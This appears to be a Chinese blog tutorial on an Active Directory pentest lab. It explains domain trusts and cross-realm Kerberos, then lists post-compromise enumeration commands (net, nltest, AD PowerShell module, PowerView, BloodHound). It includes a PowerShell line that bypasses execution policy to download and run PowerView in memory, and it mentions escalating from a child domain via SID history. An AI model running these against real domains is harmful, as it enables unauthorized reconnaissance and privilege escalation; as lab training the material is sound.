Active Directory 渗透测试靶场(二)
Active Directory 渗透测试靶场(二) Go on。 0x00 前言 先介绍一下域信任的基本原理,然后第二部分实际操作一下信息的枚举。 0x01 域信任的过程 建立域之间的信任关系 在域环境中,建立信任的两个域之间可以互相访问资源,当然,其中需要做一些权限上的设置。 信任方向(单向或双向) 信任可以是单向或双向的。在双向信任中,任何一方的域都可以访问另一方。在单向信任中域A信任域B,
Active Directory 渗透测试靶场(二)
Go on。
0x00 前言
先介绍一下域信任的基本原理,然后第二部分实际操作一下信息的枚举。
0x01 域信任的过程
建立域之间的信任关系
在域环境中,建立信任的两个域之间可以互相访问资源,当然,其中需要做一些权限上的设置。
信任方向(单向或双向)
信任可以是单向或双向的。在双向信任中,任何一方的域都可以访问另一方。在单向信任中域A信任域B,这意味着域A是信任域,域B将是可信域。对于某个域中的用户访问另一个域中的资源,该用户需要位于受信任域中。看看下面的图表来了解单向信任:

左边的是HH,右边的是小Wing,HH对小Wing给了权限,将自己托付给他,所以小Wing对HH有了访问的权限,被信任。
AD信任的类型
有各种信任类型。信任可以是传递性的或非传递性的。下表说明了一些类型的信任:
| 信任类型 | 属性 | 信任方向 | 验证方式 | 详情 |
|---|---|---|---|---|
| 树根节点 | Transitive | 双向 | Kerberos V5 或NTLM |
将新树添加到林中时自动创建 |
| 父节点-子节点 | Transitive | 双向 | Kerberos V5 或NTLM |
添加子域时自动创建 |
| 捷径 | Transitive | 单向或双向 |
Kerberos V5 或NTLM |
手动创建,在林中使用,缩短信任路径以改善身份验证时间 |
| 林 | Transitive | 单向或双向 |
Kerberos V5 或NTLM |
手动创建。 用于在AD DS和林之间共享资源。 |
林中的传递信任
信任你具有传递性,例如A信任B,B信任C,那么A信任C
自动信任
默认情况下,添加子域的时候会创建双向的信任,两种信任类型是父子信任和根信任。
下面是一张可视化的跨越信任边界的Kerberos原理的图片:

TGT就是一种特殊票证,Ticket Granting Ticket,允许客户端在同一Kerberos域中获取其他Kerberos票证,当客户端向密钥分发中心(KDC)发送票证请求时,KDC为客户端创建TGT(使用客户端密码作为密钥,进行加密)并将加密的TGT发回给客户端。然后,客户端尝试使用其密码解密TGT。如果客户端成功解密TGT(即,如果客户端提供了正确的密码),它将保留解密的TGT,这是客户端的身份证明。
TGT允许客户端获得额外的票证(如TGS),这些票证允许你访问特定的服务。
TGS:TGS代表票据授权服务。TGS是KDC的一个组件,它在客户端请求与Kerberos服务的连接时发出服务票证。客户需要有一个有效的TGT,然后才会向它发出TGS。
域之间的TGT:在林间信任的情况下,得到域间信任的TGT后,用这个TGT向另外一个信任域请求TGS,信任域使用信任密码验证后,生产TGS返回客户端。
上面这个图解释一下:
- DC1 的 Client从DC1请求TGT
- DC1 用TGT响应(krbtgt hash)
- Client再请求TGS
- Client请求DC2,但是当前域并找不到服务器,因此它使用Inter-realm TGT回应客户端
- DC2返回的是用账户的hash加密的TGS
- 客户端再用TGS去请求服务器
这个过程安全客有师傅写过了。
建立信任的认证范围
创建域信任的时候,会让你选择范围:
林范围的身份验证: 如果我们使用林范围的身份验证,则外部林中的用户与属于本地林的用户具有相同级别的本地林资源访问权限。
选择性身份验证: 如果是选择性身份验证,则需要在域中的每台计算机上手动分配权限,以及希望第二个林中的用户有权访问的资源。
0x02 示例
首先要正确配置dns。
打开DNS管理器
先设置允许区域传送





显示了网域资料,ok。
进行域信任设置







可以利用SID属性将子域的权限升级到根域。
完成后可以设置一些目录权限


0x03 枚举
- AD是用LDAP作为访问协议
- AD是通过DNS作为定位服务,方便找到域内其他主机。
- AD数据库是NTDS.DIT
powershell内存加载
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’);Get-NetDomain”
先生成一个ps payload,假设我们取得一个目标的权限。

基础命令
一些基本的信息收集命令,下面的命令请用域用户登陆靶机,不然没权限。
ipconfig /all

可以判断出pentestlab.com就是DC。
whoami /all

本地的组
net localgroup

显示本地管理员
net localgroup "administrators"

检查开放端口
netstat -an

详细查看进程
tasklist /V

系统信息
systeminfo
查看定时任务
schtasks /query /fo LIST /v
查看补丁情况
wmic qfe get Caption,Description,HotFixID,InstalledOn

常用的网络命令
arp -a

显示域名:
echo %USERDOMAIN%

打印域控制器名称:
echo %logonserver%

域用户列表
net user /domain

打印AD域密码策略:
net accounts /domain

AD信任关系:
nltest /domain_trusts

Active Directory PowerShell模块收集信息
这个模块是微软自己家的,好处在于可以减少被AV识别到的风险,以及在PCL模式下也可以使用,但是只有windows server 2008 r2以上才支持。
以下是一些常用的命令示例。
有关AD用户的信息:
Get-ADUser -Filter *


查询域中所有的组详细信息
Get-ADGroup -Filter *

过滤器可以自己选择
Get-ADGroup -Filter {Name -like "*admin*"} | select name, GroupScope
就是显示管理员组
获取当前域信息
Get-ADDomain

显示有关AD Forest的信息
Get-ADFroest

信任域的所有信息
Get-ADTrust -Filter *

使用Powerview枚举

获取域内机器
Get-NetComputer

域控信息
Get-NetDomainController

组信息
Get-NetGroup

session信息
Get-NetSession

ACL信息
Get-ObjectAcl

查看访问权限
Find-LocalAdminAccess -Verbose

枚举管理员组成员
Invoke-EnumerateLocalAdmin -Verbose

Bloodhound
怎么安装自己查看WIKI
https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started
详细使用教程:
https://www.freebuf.com/sectool/179002.html
三应该是工具系列。
...
...
...